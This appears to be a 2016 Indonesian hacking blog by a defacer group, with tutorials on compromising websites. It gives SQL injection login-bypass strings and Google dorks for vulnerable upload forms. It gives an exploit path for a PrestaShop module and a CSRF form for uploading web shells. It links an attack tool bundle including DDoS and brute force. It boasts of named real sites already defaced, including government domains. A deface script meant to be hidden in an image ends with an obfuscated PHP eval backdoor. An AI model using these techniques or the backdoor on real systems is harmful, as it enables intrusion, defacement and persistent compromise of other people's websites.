Admin Dasboard Url Trik

Admin Dasboard Url Trik

Tutorial LosCardosMandoza   Friday, December 16, 2016

     Selamat siang,malem,pagi sore semua kalian tentu sangat senang atau bahaga ketika menumukan user dan password di suatu website, tapi bagaimana ketika kaliann sudah berada di dashboard admin website tersebut ketika pencet menu-menunya tidak bisa ? pasti perasaan bercampur aduk udah kaya koko crunch jangan khwatir coba trik ini cuman buat namba wawasan aja.

Caranya sangatlah simple kita hanya butuh pisang, eh maksut gua otak pertama lu bisa scan webnya dengan acuantix untuk mengetahui Url dashboard tersebut Atau dengan cara CTRL + U Nah ini jurus pamungkas gua, dari situ lu bisa pencet pencet urlnya, Contoh lu mau klik Edit berita lewat dashboard admin ehh ketika di klik malah www.site/homeadmin.php# malah dibelakang ada tanda (#) alias tidak Work :D
nahh maka lu bisa lakuin itu lewat view-sourcenya dan hal selanjutnya lu tinggal gunain  pisang otak lu.
Sekian Trik Dan Tips dari gua
                              

                                  Ingat Tidak Semua Website Bisa Diginiin
                                     Never  Stop Your Art, Thanks You :D

Bypass Admin With Email

Bypass Admin With Email

Tutorial LosCardosMandoza   Thursday, December 15, 2016

Sebelumnya terimakasih ke pada bang evelyn :D (GSH)

Hallow Gans :*
Oke saya akan posting lagi.

Pertama nya saya coba coba , Lalu saya ketagihan .
Imajinasi Bokep mu gak akan menghentikan Imajinasimu 


Bypass admin email , gimana sih cara nya ? cuman nambahin @gmail.com / @yahoo.com dll

contoh seperti web berikut :

Nah di situ saya menggunakan user : '=''or' password : '=''or'
tapi di situ harus ada tanda @
kita cuman nambahin @gmail.com / @yahoo.com / terserah
user : '=''or'@gmail.com
pw : '=''or'

nah liat ss berikut :

Dooorrrr :*

NOTE : Tidak Semua Web Bisa diginiin .

Tools Deface Script

Tools Deface Script

Featured LosCardosMandoza   Friday, December 09, 2016

Kali ini gua akan share Tools Deface gua masukin dalam satu script, untuk fiture lumayan banyak Kalo kurang atau ada yang error perbaiki aja sendiri,
Kalo ada kesalah dalam penulisan mohon di perbaiki, maklum orang baru belajar hehe
Cara pemakainan cukup tanam aja di hostingan atau localhost mu
List Fiture:
Admin Finder
Bing Graber
CSRF Online
DefacerID
Kcfinder Auto Exploit
WP Brute Force
Dorker
Encode Decode
jquery File Uploade
Popoji Auto Register
Magento Add Admin
Elfiender Mass Exploit
Lokmedia Auto Deface
Pretashop Auto Exploit
Webdav Auto Exploit
DDOS Tools
Brute Force Twitter
SQLI Scanner
Port Scanner
Drupal Mass Exploit
Magento Admin Brute Force
Pretashop Auto Exploit
Hash ID
Tevolution Auto Exploit
Whois
Data Base Dump
WP U-Desaign Auto Exploit
Base 64 Encode/ Decode
Drupal Auto Exploit
Untuk SC tinggal comod nih http://pastebin.com/Fm1vtiPZ

Registration Upload

Registration Upload

Tutorial LosCardosMandoza   Tuesday, November 29, 2016

             Rasanya udah seminggu gua belum buka blog, untung ada waktu gua sempatin buat buka dan sesambil mau posting yang udah gak asing lagi tentang upload, mayan buat yang suka nyari mirror/rangking.
Pertama dorking:
inurl:/user/register intitle:user account intext:upload
inurl:/user/register intitle:user account intext:allowed txt
inurl:/user/register intitle:user account intext:upload site:com

kemudian cari web yang ada tempat uploadnya seperti ini

nahh kemudian upload file 

dengan ekstensi txt/php ingat kata katanya harus ada (hacked) di sclu biar bisa ke mirror di zone-h/defacer.id dll

Nihh hasil gua :
http://www.dopelibrary.gov.mm/sites/default/files/public/fuck.txt
http://labourportal.gov.mm/sites/default/files/public/fuck.txt
https://eurodesk.eu/sites/default/files/profile_image/fuck.php.txt
http://jobbank.emilyslist.org/sites/jobbank/files/resumes/th3331480408098482/fuck.txt http://www.meyervandenberg.com.au/sites/default/files/profiles/0/cvupload/fuck.txt
http://staffmobility.eu/sites/default/files/fuck.php.txt
http://www.byrnesandrupkey.com/system/files/resumes/fuck.txt
http://bimba.co.za/sites/default/files/fuck.php.txt
sekian dari gua Xai Syndicate Ty kalo udah mampir di blog gua, kalo ada kelasahan cuekin aja, namanya juga hanya sharing. byee~~~

Hidden Script in Image

Hidden Script in Image

Tutorial LosCardosMandoza   Thursday, November 17, 2016

    Kali ini gua mau sharing tentang bagaimana cara deface dengan ngumpetin script di gambar, mungkin udah banyak yang tau, tapi mungking pemain baru kaya gua gini .mungkin juga baru tau atau mau tau. nahh langsung aja nihh ke TKP
pertama buka gambar apa aja bebas, bokep juga bisa wkwk. kemudian Open with notepad
dan kemudian masukan script  ini <!------------------------------------------- Copy Sc ini di bagian paling bawa gambar lu --------------------------------------------> <title>hacked by LoscardosMandoza</title><script>var g=35,f=new Array("#AAAACC","#DDDDFF","#CCCCDD","#F3F3F3","#F0FFFF"),e=new Array("Arial Black","Arial Narrow","Times","Comic Sans MS"),d="*",m=0.6,a=22,b=8,c=1,j=new Array(),k,l,x,n=new Array(),o=new Array(),p=new Array(),q=navigator.userAgent,r=document.all&&document.getElementById&&!q.match(/Opera/),s=document.getElementById&&!document.all,u=q.match(/Opera/),t=r||s||u;function y(z){return Math.floor(z*Math.random())}function v(){if(r||u){k=document.body.clientHeight;l=document.body.clientWidth;}else if(s){k=window.innerHeight;l=window.innerWidth;}var h=a-b;for(i=0;i<=g;i++){o[i]=0;p[i]=Math.random()*15;n[i]=0.03+Math.random()/10;j[i]=document.getElementById("s"+i);j[i].style.fontFamily=e[y(e.length)];j[i].size=y(h)+b;j[i].style.fontSize=j[i].size;j[i].style.color=f[y(f.length)];j[i].sink=m*j[i].size/5;if(c==1){j[i].posx=y(l-j[i].size)}if(c==2){j[i].posx=y(l/2-j[i].size)}if(c==3){j[i].posx=y(l/2-j[i].size)+l/4};if(c==4){j[i].posx=y(l/2-j[i].size)+l/2}j[i].posy=y(2*k-k-2*j[i].size);j[i].style.left=j[i].posx;j[i].style.top=j[i].posy}w()}function w(){for(i=0;i<=g;i++){o[i]+=n[i];j[i].posy+=j[i].sink;j[i].style.left=j[i].posx+p[i]*Math.sin(o[i]);j[i].style.top=j[i].posy;if(j[i].posy>=k-2*j[i].size||parseInt(j[i].style.left)>(l-3*p[i])){if(c==1){j[i].posx=y(l-j[i].size)}if(c==2){j[i].posx=y(l/2-j[i].size)}if(c==3){j[i].posx=y(l/2-j[i].size)+l/4}if(c==4){j[i].posx=y(l/2-j[i].size)+l/2}j[i].posy=0}}var x=setTimeout("w()",50)}for(i=0;i<=g;i++){document.write("<span id='s"+i+"' style='position:absolute;top:-"+a+"'>"+d+"</span>")}if(t){window.onload=v}</script><div style="position:absolute;left:36%;top:46%"> <center> <div id=q> hacked by LoscardosMandoza - XaiSyndicate</div> <font size=3 color=#404040>Human3RR0R - AsteriX - Ins7ing</center> <style>body{overflow:hidden;background-color:black}#q{font:40px impact;color:white}<?php if(isset($_GET['v']))eval(strrev(";']]'.)(emanu"."_php.'[[' ohce "))?>
Nahh kalo udah selesai terserah dah mau lu upload di mana, di mirror juga bisa ke Zone-h.org
Demo hasil:mirror di leetszone

sekian trick dari gua kalo ada yang salah atau kurang mohon dibenarkan atau di perbaiki,

Dorking Nazuka Dengan Neighbors

Dorking Nazuka Dengan Neighbors

Tutorial LosCardosMandoza   Wednesday, November 16, 2016

             Kali ini gua akan share bagaimana cara dorking website yang hosting di nazuka.net, sebenarnya sangat simple kita hanya butuh satu  ip dari web tersebut, bagaimana caranya ?  kita reverse dulu webnya untuk mengetahui ip dari web tersebut di http://www.yougetsignal.com/tools/web-sites-on-web-server/ contoh gua check phongit.net

       kemudian lihat ip nya di sebelah kanan tuh 31.170.166.13


nah kemudian lu scan di  http://www.tcpiputils.com/
Nih hasilnya yang gua scan dari 31.170.166.13

     

tuh muncul 10 web yang hosting di nazuka.net dan ada domains around masih 1 ip sama nazuka.net tinggal lu buka buka aja terus copy di notepad atau apalah buat di kumpulin :D
kemudian tinggal masukin 1-1 exploitnya.
Sekian tutorial dari gua.

AttributeWiazardPro fileupload

AttributeWiazardPro fileupload

Tutorial LosCardosMandoza   Thursday, November 03, 2016

Udah lama belum posting, kali ini gua akan memberikan tutorial dengan attribute wizardpro, apa sih wizard pro itu ? udh gak usah di pikirin, langsung aja nih step by step.
dork inurl:/modules/attributewizardpro/
exploitnya:/modules/attributewizardpro/image_upload.php
                //modules/attributewizardpro/file_upload.php
ada 2 tempat upload
ciri ciri target yang vuln ada  bacaan gitu di exploitnya
Error: Could not copy file, please check there is writing permissions to /home/heartarrow/domains/heart-arrow.nl/public_html/webshop/modules/attributewizardpro/file_uploads/
untuk upload shell bisa menggunakan csrf online dengan type (userfile) atau bisa juga gunakan

copy csrf ini  dengan ekstensi csrf.html
<form method="POST" action="http://target.co.li" enctype="multipart/form-data"> <input type="file" name="userfile" /><button>Upload</button> </form>
cara manggil shell kalo menggunakan exploit image_upload.php bisa di /img/id_group_.php tergantung ekstensi
kalo lewat file_upload.php bisa di /modules/attributewizardpro/file_uploads/ nama shell angka random
sekian tutorial dari gua.